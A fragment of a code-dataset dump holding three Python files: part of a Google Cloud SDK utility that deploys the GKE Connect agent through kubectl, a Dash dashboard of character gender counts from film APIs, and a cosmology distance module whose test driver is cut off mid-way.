project_id=project_id,\n project_number=project_number,\n membership_name=membership_name or '',\n proxy=proxy or '',\n image=image,\n gcp_sa_key=sa_key_data)\n\n if image_pull_secret_data:\n # The indentation of this string literal is important: it must be\n # appendable to the bottom of the pod_manifest.\n image_pull_secret_section = \"\"\"\\\n imagePullSecrets:\n - name: {}\"\"\".format(IMAGE_PULL_SECRET_NAME)\n\n pod_manifest = '{}\\n{}\\n---\\n{}'.format(\n pod_manifest, image_pull_secret_section,\n IMAGE_PULL_SECRET_TEMPLATE.format(\n name=IMAGE_PULL_SECRET_NAME,\n connect_resource_label=CONNECT_RESOURCE_LABEL,\n namespace=namespace,\n project_id=project_id,\n image_pull_secret=image_pull_secret_data))\n\n return '{}\\n---\\n{}\\n---\\n{}'.format(\n namespace_manifest, pod_manifest,\n non_deleted_resources_manifest), pod_manifest, agent_pod_name\n\n\ndef Base64EncodedFileContents(filename):\n \"\"\"Reads the provided file, and returns its contents, base64-encoded.\n\n Args:\n filename: The path to the file, absolute or relative to the current working\n directory.\n\n Returns:\n A string, the contents of filename, base64-encoded.\n\n Raises:\n files.Error: if the file cannot be read.\n \"\"\"\n return base64.b64encode(\n files.ReadBinaryFileContents(files.ExpandHomeDir(filename)))\n\n\ndef DeployConnectAgent(args,\n service_account_key_data,\n docker_credential_data,\n upgrade=False):\n \"\"\"Deploys the GKE Connect agent to the cluster.\n\n Args:\n args: arguments of the command.\n service_account_key_data: The contents of a Google IAM service account JSON\n file\n docker_credential_data: A credential that can be used to access Docker, to\n be stored in a secret and referenced from pod.spec.ImagePullSecrets.\n upgrade: whether to attempt to upgrade the agent, rather than replacing it.\n\n Raises:\n exceptions.Error: If the agent cannot be deployed properly\n calliope_exceptions.MinimumArgumentException: If the agent cannot be\n deployed properly\n \"\"\"\n kube_client = KubernetesClient(args)\n\n image = args.docker_image\n if not image:\n # Get the SHA for the default image.\n try:\n digest = ImageDigestForContainerImage(DEFAULT_CONNECT_AGENT_IMAGE,\n DEFAULT_CONNECT_AGENT_TAG)\n image = '{}@{}'.format(DEFAULT_CONNECT_AGENT_IMAGE, digest)\n except Exception as exp:\n raise exceptions.Error(\n 'could not determine image digest for {}:{}: {}'.format(\n DEFAULT_CONNECT_AGENT_IMAGE, DEFAULT_CONNECT_AGENT_TAG, exp))\n\n project_id = properties.VALUES.core.project.GetOrFail()\n namespace = _GKEConnectNamespace(kube_client, project_id)\n\n full_manifest, pod_manifest, agent_pod_name = GenerateInstallManifest(\n project_id, namespace, image, service_account_key_data,\n docker_credential_data, args.CLUSTER_NAME, args.proxy)\n\n # Generate a manifest file if necessary.\n if args.manifest_output_file:\n try:\n files.WriteFileContents(\n files.ExpandHomeDir(args.manifest_output_file),\n full_manifest,\n private=True)\n except files.Error as e:\n exceptions.Error('could not create manifest file: {}'.format(e))\n\n log.status.Print(MANIFEST_SAVED_MESSAGE.format(args.manifest_output_file))\n return\n\n log.status.Print('Deploying GKE Connect agent pod to cluster...')\n\n # During an upgrade, the namespace should not be deleted.\n if not upgrade:\n # Delete the ns if necessary\n if kube_client.NamespaceExists(namespace):\n console_io.PromptContinue(\n message='Namespace [{namespace}] already exists in the cluster. This '\n 'may be from a previous installation of the agent. If you want to '\n 'investigate, enter \"n\" and run\\n\\n'\n ' kubectl \\\\\\n'\n ' --kubeconfig={kubeconfig} \\\\\\n'\n ' --context={context} \\\\\\n'\n ' get all -n {namespace}\\n\\n'\n 'Continuing will delete namespace [{namespace}].'.format(\n namespace=namespace,\n kubeconfig=kube_client.kubeconfig,\n context=kube_client.context),\n cancel_on_no=True)\n try:\n succeeded, error = waiter.WaitFor(\n KubernetesPodPoller(),\n NamespaceDeleteOperation(namespace, kube_client),\n 'Deleting namespace [{}] in the cluster'.format(namespace),\n pre_start_sleep_ms=NAMESPACE_DELETION_INITIAL_WAIT_MS,\n max_wait_ms=NAMESPACE_DELETION_TIMEOUT_MS,\n wait_ceiling_ms=NAMESPACE_DELETION_MAX_POLL_INTERVAL_MS,\n sleep_ms=NAMESPACE_DELETION_INITIAL_POLL_INTERVAL_MS)\n except waiter.TimeoutError as e:\n # waiter.TimeoutError assumes that the operation is a Google API\n # operation, and prints a debugging string to that effect.\n raise exceptions.Error(\n 'Could not delete namespace [{}] from cluster.'.format(namespace))\n\n if not succeeded:\n raise exceptions.Error(\n 'Could not delete namespace [{}] from cluster. Error: {}'.format(\n namespace, error))\n\n # Create the agent install pod and related resources.\n err = kube_client.Apply(full_manifest)\n if err:\n raise exceptions.Error(\n 'Failed to apply manifest to cluster: {}'.format(err))\n\n kubectl_log_cmd = (\n 'kubectl --kubeconfig={} --context={} logs -n {} -l app={}'.format(\n kube_client.kubeconfig, kube_client.context, namespace,\n AGENT_POD_LABEL))\n\n def _WriteAgentLogs():\n \"\"\"Writes logs from the GKE Connect agent pod to a temporary file.\"\"\"\n logs, err = kube_client.Logs(namespace, agent_pod_name)\n if err:\n log.warning('Could not fetch agent pod logs: {}'.format(err))\n return\n\n _, tmp_file = tempfile.mkstemp(\n suffix='_{}.log'.format(times.Now().strftime('%Y%m%d-%H%M%S')),\n prefix='gke_connect_',\n )\n files.WriteFileContents(tmp_file, logs, private=True)\n log.status.Print('GKE Connect pod logs saved to [{}]'.format(tmp_file))\n\n try:\n succeeded, error = waiter.WaitFor(\n KubernetesPodPoller(),\n ConnectAgentPodOperation(namespace, agent_pod_name, kube_client),\n 'Waiting for GKE Connect agent pod to complete',\n pre_start_sleep_ms=AGENT_POD_INITIAL_WAIT_MS,\n max_wait_ms=AGENT_POD_TIMEOUT_MS,\n wait_ceiling_ms=AGENT_POD_MAX_POLL_INTERVAL_MS,\n sleep_ms=AGENT_POD_INITIAL_POLL_INTERVAL_MS)\n except waiter.TimeoutError:\n # waiter.TimeoutError assumes that the operation is a Google API operation,\n # and prints a debugging string to that effect.\n _WriteAgentLogs()\n raise exceptions.Error(\n 'GKE Connect pod timed out. Leaving pod in cluster for further '\n 'debugging.\\nTo view logs from the cluster:\\n\\n {}\\n'.format(\n kubectl_log_cmd))\n\n _WriteAgentLogs()\n\n if not succeeded:\n raise exceptions.Error(\n 'GKE Connect pod did not succeed. Leaving pod in cluster for further '\n 'debugging.\\nTo view logs from the cluster: {}\\nKubectl error log: {}'\n .format(kubectl_log_cmd, error))\n\n log.status.Print(\n 'GKE Connect pod succeeded. Removing leftover resources from cluster.')\n err = kube_client.Delete(pod_manifest)\n if err:\n raise exceptions.Error('Failed to delete pod from cluster: {}'.format(err))\n\n\nclass NamespaceDeleteOperation(object):\n \"\"\"An operation that waits for a namespace to be deleted.\"\"\"\n\n def __init__(self, namespace, kube_client):\n self.namespace = namespace\n self.kube_client = kube_client\n self.done = False\n self.succeeded = False\n self.error = None\n\n def __str__(self):\n return ''.format(self.namespace)\n\n def Update(self):\n \"\"\"Updates this operation with the latest namespace deletion status.\"\"\"\n err = self.kube_client.DeleteNamespace(self.namespace)\n\n # The first delete request should succeed.\n if not err:\n return\n\n # If deletion is successful, the delete command will return a NotFound\n # error.\n if 'NotFound' in err:\n self.done = True\n self.succeeded = True\n else:\n self.error = err\n\n\nclass ConnectAgentPodOperation(object):\n \"\"\"An operation that tracks the GKE Connect agent pod in the cluster.\"\"\"\n\n def __init__(self, namespace, agent_pod_name, kube_client):\n self.namespace = namespace\n self.agent_pod_name = agent_pod_name\n self.kube_client = kube_client\n self.done = False\n self.succeeded = False\n self.error = None\n\n def __str__(self):\n return ''.format(\n self.namespace)\n\n def Update(self):\n \"\"\"Updates this operation with the latest state of the agent pod.\"\"\"\n out, err = self.kube_client.GetPodField(self.namespace, self.agent_pod_name,\n '.status.phase')\n if err:\n self.done = True\n self.succeeded = False\n self.error = err\n return\n\n # The .status.phase field contains one of five values. They map to the\n # staus of this operation as follows:\n # - \"Pending\": operation is ongoing\n # - \"Running\": operation is ongoing\n # - \"Succeeded\": operation is complete, successfully\n # - \"Failed\": operation is complete, unsuccessfully\n # - \"Unknown\": operation is complete, unsuccessfully\n # The JSONPath expression above prints the value of the .status.phase field\n # (i.e., one of these five strings) to stdout\n if out == 'Pending' or out == 'Running':\n return\n\n self.done = True\n if out == 'Failed':\n self.succeeded = False\n # TODO(b/130295119): Is there a way to get a failure message?\n self.error = exceptions.Error('Connect agent pod failed.')\n return\n if out == 'Unknown':\n self.succeeded = False\n self.error = exceptions.Error('Connect agent pod in an unknown state.')\n return\n\n self.succeeded = True\n\n\nclass KubernetesPodPoller(waiter.OperationPoller):\n \"\"\"An OperationPoller that polls ConnectAgentPodOperations.\"\"\"\n\n def IsDone(self, operation):\n return operation.done\n\n def Poll(self, operation_ref):\n operation_ref.Update()\n return operation_ref\n\n def GetResult(self, operation):\n return (operation.succeeded, operation.error)\n\n\nclass KubernetesClient(object):\n \"\"\"A client for accessing a subset of the Kubernetes API.\"\"\"\n\n def __init__(self, flags):\n \"\"\"Constructor for KubernetesClient.\n\n Args:\n flags: the flags passed to the enclosing command\n\n Raises:\n exceptions.Error: if the client cannot be configured\n calliope_exceptions.MinimumArgumentException: if a kubeconfig file\n cannot be deduced from the command line flags or environment\n \"\"\"\n self.kubectl_timeout = '20s'\n\n # Warn if kubectl is not installed.\n if not c_util.CheckKubectlInstalled():\n raise exceptions.Error('kubectl not installed.')\n\n self.kubeconfig, self.context = self._GetKubeconfigAndContext(\n flags.kubeconfig_file, flags.context)\n\n def GetNamespaceUID(self, namespace):\n cmd = ['get', 'namespace', namespace, '-o', 'jsonpath=\\'{.metadata.uid}\\'']\n out, err = self._RunKubectl(cmd, None)\n if err:\n raise exceptions.Error(\n 'Failed to get the UID of the cluster: {}'.format(err))\n\n return out.replace(\"'\", '')\n\n def NamespacesWithLabelSelector(self, label):\n cmd = ['get', 'namespace', '-l', label, '-o', 'jsonpath={..metadata.name}']\n out, err = self._RunKubectl(cmd, None)\n if err:\n raise exceptions.Error(\n 'Failed to list namespaces in the cluster: {}'.format(err))\n return out.strip().split(' ') if out else []\n\n def NamespaceExists(self, namespace):\n _, err = self._RunKubectl(['get', 'namespace', namespace])\n return err is None\n\n def DeleteNamespace(self, namespace):\n _, err = self._RunKubectl(['delete', 'namespace', namespace])\n return err\n\n def GetPodField(self, namespace, pod, json_path):\n cmd = [\n 'get', 'pods', '-n', namespace, pod, '-o',\n 'jsonpath={{{}}}'.format(json_path)\n ]\n return self._RunKubectl(cmd)\n\n def Apply(self, manifest):\n _, err = self._RunKubectl(['apply', '-f', '-'], stdin=manifest)\n return err\n\n def Delete(self, manifest):\n _, err = self._RunKubectl(['delete', '-f', '-'], stdin=manifest)\n return err\n\n def Logs(self, namespace, pod):\n return self._RunKubectl(['logs', '-n', namespace, pod])\n\n def _GetKubeconfigAndContext(self, kubeconfig_file, context):\n \"\"\"Gets the kubeconfig and cluster context from arguments and defaults.\n\n Args:\n kubeconfig_file: The kubecontext file to use\n context: The value of the context flag\n\n Returns:\n the kubeconfig filepath and context name\n\n Raises:\n calliope_exceptions.MinimumArgumentException: if a kubeconfig file cannot\n be deduced from the command line flags or environment\n exceptions.Error: if the context does not exist in the deduced kubeconfig\n file\n \"\"\"\n kubeconfig_file = (\n kubeconfig_file or os.getenv('KUBECONFIG') or '~/.kube/config')\n kubeconfig = files.ExpandHomeDir(kubeconfig_file)\n if not kubeconfig:\n raise calliope_exceptions.MinimumArgumentException(\n ['--kubeconfig-file'],\n 'Please specify --kubeconfig, set the $KUBECONFIG environment '\n 'variable, or ensure that $HOME/.kube/config exists')\n kc = kconfig.Kubeconfig.LoadFromFile(kubeconfig)\n\n context_name = context\n\n if context_name not in kc.contexts:\n raise exceptions.Error(\n 'context [{}] does not exist in kubeconfig [{}]'.format(\n context_name, kubeconfig))\n\n return kubeconfig, context_name\n\n def _RunKubectl(self, args, stdin=None):\n \"\"\"Runs a kubectl command with the cluster referenced by this client.\n\n Args:\n args: command line arguments to pass to kubectl\n stdin: text to be passed to kubectl via stdin\n\n Returns:\n The contents of stdout if the return code is 0, stderr (or a fabricated\n error if stderr is empty) otherwise\n \"\"\"\n cmd = [\n c_util.CheckKubectlInstalled(), '--context', self.context,\n '--kubeconfig', self.kubeconfig, '--request-timeout',\n self.kubectl_timeout\n ]\n cmd.extend(args)\n\n p = subprocess.Popen(\n cmd,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n out, err = p.communicate(stdin)\n\n if p.returncode != 0 and not err:\n err = 'kubectl exited with return code {}'.format(p.returncode)\n\n return out if p.returncode == 0 else None, err if p.returncode != 0 else None\n\n\ndef DeleteConnectNamespace(args):\n \"\"\"Delete the namespace in the cluster that contains the connect agent.\n\n Args:\n args: an argparse namespace. All arguments that were provided to this\n command invocation.\n\n Raises:\n calliope_exceptions.MinimumArgumentException: if a kubeconfig file cannot\n be deduced from the command line flags or environment\n \"\"\"\n\n kube_client = KubernetesClient(args)\n namespace = _GKEConnectNamespace(kube_client,\n properties.VALUES.core.project.GetOrFail())\n cleanup_msg = 'Please delete namespace {} manually in your cluster.'.format(\n namespace)\n\n err = kube_client.DeleteNamespace(namespace)\n if err:\n if 'NotFound' in err:\n # If the namespace was not found, then do not log an error.\n log.status.Print(\n 'Namespace [{}] (for context [{}]) did not exist, so it did not '\n 'require deletion.'.format(namespace, args.context))\n return\n log.warning(\n 'Failed to delete namespace [{}] (for context [{}]): {}. {}'.format(\n namespace, args.context, err, cleanup_msg))\n return\n\n\ndef _GKEConnectNamespace(kube_client, project_id):\n \"\"\"Returns the namespace into which to install or update the connect agent.\n\n Connect namespaces are identified by the presence of the hub.gke.io/project\n label. If there is one existing namespace with this label in the cluster, its\n name is returned; otherwise, a connect agent namespace with the project\n number as a suffix is returned. If there are multiple namespaces with the\n hub.gke.io/project label, an error is raised.\n\n Args:\n kube_client: a KubernetesClient\n project_id: A GCP project identifier\n\n Returns:\n a string, the namespace\n\n Raises:\n exceptions.Error: if there are multiple Connect namespaces in the cluster\n \"\"\"\n selector = '{}={}'.format(CONNECT_RESOURCE_LABEL, project_id)\n namespaces = kube_client.NamespacesWithLabelSelector(selector)\n if not namespaces:\n return 'gke-connect-{}'.format(p_util.GetProjectNumber(project_id))\n if len(namespaces) == 1:\n return namespaces[0]\n raise exceptions.Error(\n 'Multiple GKE Connect namespaces in cluster: {}'.format(namespaces))\n","repo_name":"zeevallin/dotfiles","sub_path":"tools/google-cloud-sdk/lib/googlecloudsdk/command_lib/container/hub/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":27789,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"40782555848","text":"#!/usr/bin/env python\n# script to connect to API, extract character gender data and create a dashboard\n# @saevrenk, 03.06.23\nimport plotly.express as px\nimport pandas as pd\nfrom dash import Dash, dcc, html, Input, Output\nimport pandas as pd\nimport os\nimport plotly_express as px\nfrom collections import Counter\nimport datetime as dt\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objects as go\nfrom api_funcs import connectAPI\n\n\n# Connect to the Rick and Morty API and build dataframes\ndf_rm_character = connectAPI(\"RICKMORTYAPI\", \"character\").get_results_df()\ndf_rm_episode = connectAPI(\"RICKMORTYAPI\", \"episode\").get_results_df()\n\n# Connect to the Star Wars API and build dataframes\ndf_sw_films = connectAPI(\"SWAPI\", \"films\").get_results_df()\ndf_sw_people = connectAPI(\"SWAPI\", \"people\").get_results_df()\n\n# Connect to the movie db API and build dataframe\nif not os.path.exists(\"./df_tmdb_people.csv\"):\n df_tmdb_people = connectAPI(\"TMDBAPI\", \"person\").get_results_df()\n df_tmdb_people.to_csv(\"df_tmdb_people.csv\")\nelse:\n df_tmdb_people = pd.read_csv(\"df_tmdb_people.csv\")\n\n# clean up\ndf_sw_people[\"gender\"][df_sw_people[\"gender\"] == \"none\"] = \"Not Specified\"\ndf_sw_people[\"gender\"][df_sw_people[\"gender\"] == \"n/a\"] = \"Genderless\"\ndf_rm_character[\"gender\"][df_rm_character[\"gender\"] == \"Unknown\"] = \"Not Specified\"\n\ndf_rm_character[\"gender\"] = df_rm_character[\"gender\"].str.capitalize()\ndf_sw_people[\"gender\"] = df_sw_people[\"gender\"].str.capitalize()\n\n# Total gender distributions:\nsw = pd.DataFrame(df_sw_people[\"gender\"].value_counts()).reset_index()\nrm = pd.DataFrame(df_rm_character[\"gender\"].value_counts()).reset_index()\nmd = pd.DataFrame(df_tmdb_people[\"gender\"].value_counts())\ndf_temp = df_tmdb_people.groupby(\"gender\").sum()\nmd[\"Total Credits\"] = df_temp[\"n_credits\"]\nmd = md.reset_index()\n\n# create an images directory for saving images\nif not os.path.exists(\"images\"):\n os.mkdir(\"images\")\n\n\n### DASH ####\n\n# style sheet\nexternal_stylesheets = [\"https://codepen.io/chriddyp/pen/bWLwgP.css\"]\n\n# start app\napp = Dash(__name__, external_stylesheets=external_stylesheets)\napp.title = \"gender-in-movies\"\n\napp.layout = html.Div(\n [\n html.H1(\"Gender Distributions in Movies\"),\n dcc.Dropdown(\n id=\"movie_dropdown\",\n options=[\n {\"label\": \"Star Wars\", \"value\": 0},\n {\"label\": \"Rick and Morty\", \"value\": 1},\n {\"label\": \"Movie DB characters\", \"value\": 2},\n {\"label\": \"Movie DB Total Credits\", \"value\": 3},\n ],\n multi=False,\n value=0,\n style={\"width\": \"60%\"},\n ),\n dcc.Graph(id=\"pie\", figure={}),\n ]\n)\n\n\n@app.callback(Output(\"pie\", \"figure\"), [Input(\"movie_dropdown\", \"value\")])\ndef draw_graph(user_selection):\n titles = [\n \"Star Wars\",\n \"Rick & Morty\",\n \"Movie DB characters\",\n \"Movie DB Total Credits\",\n ]\n dfs = [sw, rm, md, md]\n i = user_selection\n if i == 3:\n variable = \"Total Credits\"\n else:\n variable = \"gender\"\n fig = px.pie(\n dfs[i], values=variable, names=\"index\", title=titles[i], width=600, height=400\n )\n fig.update_layout(legend=dict(yanchor=\"top\", y=0.99, xanchor=\"left\", x=-0.5))\n return fig\n\n\n# if __name__ == \"__main__\":\napp.run_server()\n","repo_name":"saevrenk/gender_imbalance","sub_path":"make_dashboard.py","file_name":"make_dashboard.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16978928772","text":"import numpy as np\nimport scipy.special\nfrom incomplete_beta import beta_cont_frac_gsl\n\n############### Implementation of the Incomplete Beta Function ###########\n\ndef incomplete_beta(a,b,x1,x2):\n # Compute B_x2(a,b) - B_x1(a,b).\n # This is the integral from x1 to x2 of x^(a-1) (1-x)^(b-1) dx\n # Normally this requires a>0, b>0, and x1,x2 in the range [0..1]\n # However, the b>0 requirement is relaxed if one uses the modified GSL code.\n\n # To use the modified GSL code.\n # Here we avoid the pre-factor normalization with the complete beta function.\n # This allows one to use b<0 without problem.\n return beta_cont_frac_gsl(a,b,x2)-beta_cont_frac_gsl(a,b,x1)\n\n # If you don't want the modified GSL code, here's the standard SciPy call.\n # If you use SciPy, then you must have b>0, which limits these routines\n # to w < -1/3. This is because larger w have a divergent horizon in the\n # future, which breaks the normalization used internally to the betainc() code.\n # return scipy.special.beta(a,b) * \\\n # (scipy.special.betainc(a,b,x2)- scipy.special.betainc(a,b,x1))\n\n\n############# Dark Energy models #########################################\n\ndef wcdm(z, om, w):\n # For redshifts z and Omega_m om and constant w,\n # compute D_M(z)=r(z) in Hubble distance (c/H0) units for a flat Universe.\n # Can give z or w as vectors; will produce a vector output.\n # om must be a scalar; see owcdm() to allow a vector\n # This requires w<-1/3 if one is using the SciPy beta function, w<0 if using GSL\n ox = 1-om\n m = 1.0/(-6.0*w)\n # Return the EdS simple case or compute the incomplete beta function\n return np.where(ox==0, 2.0*(1-(1+z)**-0.5),\n 2.0*m/np.sqrt(om) * np.abs(om/np.where(ox!=0,ox,1.0))**m * \\\n incomplete_beta(m,\n np.where(ox>0, 0.5-m, 0.5),\n np.where(ox>0, ox/(om*(1+z)**(-3.0*w)+ox), -ox/om*(1+z)**(3.0*w)),\n np.where(ox>0, ox/(om+ox), -ox/om)))\n # This is handling all three ox branches at once.\n # Not the prettiest code, but it avoids floating point errors on the\n # conditional branch executions in the vector case.\n\n\ndef wcdm_time(z, om, w):\n # For redshifts z and Omega_m om and constant w, for a flat Universe,\n # compute the age of the Universe at the given z in Hubble (1/H0) units.\n # Can give z or w as vectors; will produce a vector output.\n # This requires om<=1 and ox=1-om>=0.\n # This requires w<-1 if one is using the SciPy beta function, w<0 if using GSL\n ox = 1-om\n if (np.min(ox)<0):\n print(\"Can't evaluate negative dark energies\")\n import sys\n sys.exit(1)\n xz = ox/(om*(1+z)**(-3.0*w)+ox)\n m = 1.0/(-2.0*w)\n return np.where(ox==0, 2.0/3.0*np.power(1+z,-1.5),\n 2.0/3.0*m/np.sqrt(om) * np.power(om/np.where(ox==0,1.0,ox),m) *\n incomplete_beta(m,0.5-m,0.0,xz))\n # Separately compute the flat and open cases, avoiding\n # the divide-by-zero possibility on the second branch.\n\n\ndef owcdm(z, om, w, ok=0.0):\n # For redshifts z and Omega_m om and constant w and a small ok\n # compute r(z) and D_M(z) in Hubble distance (c/H0) units for LCDM.\n # Can give z, om, or w as vectors; will produce a vector output.\n # ok must be a scalar, because of our if statements.\n # We must have om<1 and ox=1-om-ok>0. Use om=0.99999 if you want om=1\n # This requires w<-1/3 if one is using the SciPy beta function, w<0 if using GSL\n ox = 1-om-ok\n xz = ox/(om*(1+z)**(-3.0*w)+ox)\n x0 = ox/(om+ox)\n # Make the flat limit\n m = 1.0/(-6.0*w)\n c = 2.0*m/np.sqrt(om)\n rz = c * (om/ox)**m * incomplete_beta(m,0.5-m,xz,x0)\n if (ok==0):\n propmotdis = rz\n else:\n # Now make the curvature corrections, up to 10th order in Ok/Om\n # Stop when the contributions are small\n for order in range(1,11):\n m = (1.0+2*order)/(-6.0*w)\n c *= -(2.0*order-1.0)/(2.0*order)*ok/om\n delrz = c*(om/ox)**m * incomplete_beta(m,0.5+order-m,xz,x0)\n rz += delrz\n if (np.max(np.abs(delrz))<1e-7): break\n # Compute the proper motion distance\n if (ok>0): propmotdis = np.sinh(np.sqrt(ok)*rz)/np.sqrt(ok)\n else: propmotdis = np.sin(np.sqrt(-ok)*rz)/np.sqrt(-ok)\n # Now return the answer\n return rz,propmotdis\n\n############# Drivers ####################################################\n\ndef coorddist(z, om, w, ok): return owcdm(z,om,w,ok)[0]\n\ndef propmotdis(z, om, w, ok): return owcdm(z,om,w,ok)[1]\n\ndef angdist(z, om, w, ok): return owcdm(z,om,w,ok)[1]/(1+z)\n\ndef lumdist(z, om, w, ok): return owcdm(z,om,w,ok)[1]*(1+z)\n\n############# Radiation perturbations #########################################\n\ndef incomplete_beta_approx(a,b,x1,x2):\n # Compute B_x2(a,b) - B_x1(a,b).\n # This is the integral from x1 to x2 of x^(a-1) (1-x)^(b-1) dx\n # However, this is a crude approximation; only suitable for\n # very small perturbations, such as for the radiation term.\n i1 = x1**a/a*(1.0-a*(b-1.0)/(a+1.0)*x1)\n i2 = x2**a/a*(1.0-a*(b-1.0)/(a+1.0)*x2)\n return i2-i1\n\ndef wcdm_rad(z, om, w, rad=0.0):\n # For redshifts z and Omega_m om and constant w and a small ok\n # compute r(z) and D_M(z) in Hubble distance (c/H0) units for LCDM.\n # Can give z, om, or w as vectors; will produce a vector output.\n # We must have om<1 and ox=1-om>0.\n # This requires w<-1/3 if one is using the SciPy beta function, w<0 if using GSL\n ox = 1-om-rad\n xz = ox/(om*(1+z)**(-3.0*w)+ox)\n x0 = ox/(om+ox)\n # Make the radiation-free limit\n m = 1.0/(-6.0*w)\n c = 2.0*m/np.sqrt(om)\n rz = c * (om/ox)**m * incomplete_beta(m,0.5-m,xz,x0)\n # Now add in the radiation part\n m = 1.0/(6.0*w)\n c = m*rad/om/np.sqrt(om)\n delrz = c*(om/ox)**m * incomplete_beta(m,1.5-m,xz,x0)\n # This uses a B(a,b,x) implementation with a<0, which is not formally allowed\n # and may be fragile. But the GSL version seems to behave well enough.\n # Could use the following instead.\n #delrz = c*(om/ox)**m * incomplete_beta_approx(m,1.5-m,xz,x0)\n print(incomplete_beta(m,1.5-m,xz,x0), incomplete_beta_approx(m,1.5-m,xz,x0))\n rz += delrz\n return rz\n\n################### Direct integration codes for testing ###################\n\nimport scipy.integrate\n\ndef wcdm_romberg(z, om, w):\n integrand = lambda z: 1.0/np.sqrt(om*(1.0+z)**3.0+(1.0-om)*(1.0+z)**(3.0*(1.0+w)))\n return scipy.integrate.romberg(integrand, 0.0, z)\n\ndef owcdm_romberg(z, om, w, ok=0.0):\n integrand = lambda z: 1.0/np.sqrt(om*(1.0+z)**3.0+ok*(1.0+z)**2.0+(1.0-om-ok)*(1.0+z)**(3.0*(1.0+w)))\n return scipy.integrate.romberg(integrand, 0.0, z)\n\ndef time_romberg(z, om, w):\n integrand = lambda a: np.sqrt(a)/np.sqrt(om+(1.0-om)*a**(-3.0*w))\n return scipy.integrate.romberg(integrand, 0.0, 1.0/(1.0+z), tol=1e-5)\n\ndef wcdmrad_romberg(z, om, w, rad):\n integrand = lambda z: 1.0/np.sqrt(rad*(1.0+z)**4.0+om*(1.0+z)**3.0+(1.0-om-rad)*(1.0+z)**(3.0*(1.0+w)))\n return scipy.integrate.romberg(integrand, 0.0, z)\n\n\ndef rad_test(xmin):\n #integrand = lambda x: x**(-1.0/6.0-1) * (1-x)**(5.0/3.0-1.0)\n #print(scipy.integrate.romberg(integrand, xmin, 0.7, tol=1e-5, divmax=13)\n integrand = lambda y: -6.0*(1-y**-6.0)**(5.0/3.0-1.0)\n print(scipy.integrate.romberg(integrand, xmin**(-1.0/6.0), 0.7**(-1.0/6.0), tol=1e-5, divmax=13))\n print(incomplete_beta_nrcf(-1.0/6.0,5.0/3.0,xmin,0.7))\n\n######################## The test driver ################################\n# To run the tests, execute test()\n\ndef test():\n print(\"Testing the base wcdm code\")\n x = wcdm(1.0,0.3,-1)\n print(\"LCDM, om=0.3, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,0.3,-1) )\n\n x = wcdm(1.0,0.3,-0.2)\n print(\"WCDM, om=0.3, w=-0.2, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,0.3,-0.2))\n\n x = wcdm(1.0,0.3,-0.4)\n print(\"WCDM, om=0.3, w=-0.4, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,0.3,-0.4) )\n\n x = wcdm(1.0,0.3,-1.4)\n print(\"WCDM, om=0.3, w=-1.4, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,0.3,-1.4) )\n\n x = wcdm(1.0,1.3,-0.4)\n print(\"WCDM, om=1.3, w=-0.4, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,1.3,-0.4) )\n\n print(\"\\nTesting the owcdm code in the flat limit\")\n x = owcdm(1.0,0.3,-1)[0]\n print(\"Non-flat LCDM, om=0.3, ok=0, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,0.3,-1))\n\n x = owcdm(1.0,0.3,-0.4)[0]\n print(\"Non-flat WCDM, om=0.3, w=-0.4, ok=0, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,0.3,-0.4))\n\n x = owcdm(1.0,0.3,-1.4)[0]\n print(\"Non-flat WCDM, om=0.3, w=-1.4, ok=0, z=1: r(z) = \", x, \" Err = \",x-wcdm_romberg(1.0,0.3,-1.4))\n\n print(\"\\nSlightly open universes\")\n x = owcdm(1.0,0.3,-1,0.05)[0]\n print(\"Non-flat LCDM, om=0.3, ok=0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-1,0.05))\n\n x = owcdm(1.0,0.3,-0.2,0.05)[0]\n print(\"Non-flat WCDM, om=0.3, w=-0.2, ok=0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-0.2,0.05))\n\n x = owcdm(1.0,0.3,-0.4,0.05)[0]\n print(\"Non-flat WCDM, om=0.3, w=-0.4, ok=0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-0.4,0.05))\n\n x = owcdm(1.0,0.3,-1.4,0.05)[0]\n print(\"Non-flat WCDM, om=0.3, w=-1.4, ok=0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-1.4,0.05))\n\n print(\"\\nSlightly closed universes\")\n x = owcdm(1.0,0.3,-1,-0.05)[0]\n print(\"Non-flat LCDM, om=0.3, ok=-0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-1,-0.05) )\n\n x = owcdm(1.0,0.3,-0.2,-0.05)[0]\n print(\"Non-flat WCDM, om=0.3, w=-0.2, ok=-0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-0.2,-0.05))\n\n x = owcdm(1.0,0.3,-0.4,-0.05)[0]\n print(\"Non-flat WCDM, om=0.3, w=-0.4, ok=-0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-0.4,-0.05) )\n\n x = owcdm(1.0,0.3,-1.4,-0.05)[0]\n print(\"Non-flat WCDM, om=0.3, w=-1.4, ok=-0.05, z=1: r(z) = \", x, \" Err = \",x-owcdm_romberg(1.0,0.3,-1.4,-0.05) )\n\n\n print(\"\\nTesting the t(z) code (expect O(1e-5) because control version is not so accurate)\")\n x = wcdm_time(0.0,1.0,-1.4)\n print(\"CDM, om=1.0, w=-1.4, z=0: r(z) = \", x, \" Err = \",x-time_romberg(0.0,1.0,-1.4) )\n\n x = wcdm_time(0.0,0.3,-0.2)\n print(\"WCDM, om=0.3, w=-0.2, z=0: r(z) = \", x, \" Err = \",x-time_romberg(0.0,0.3,-0.2) )\n\n x = 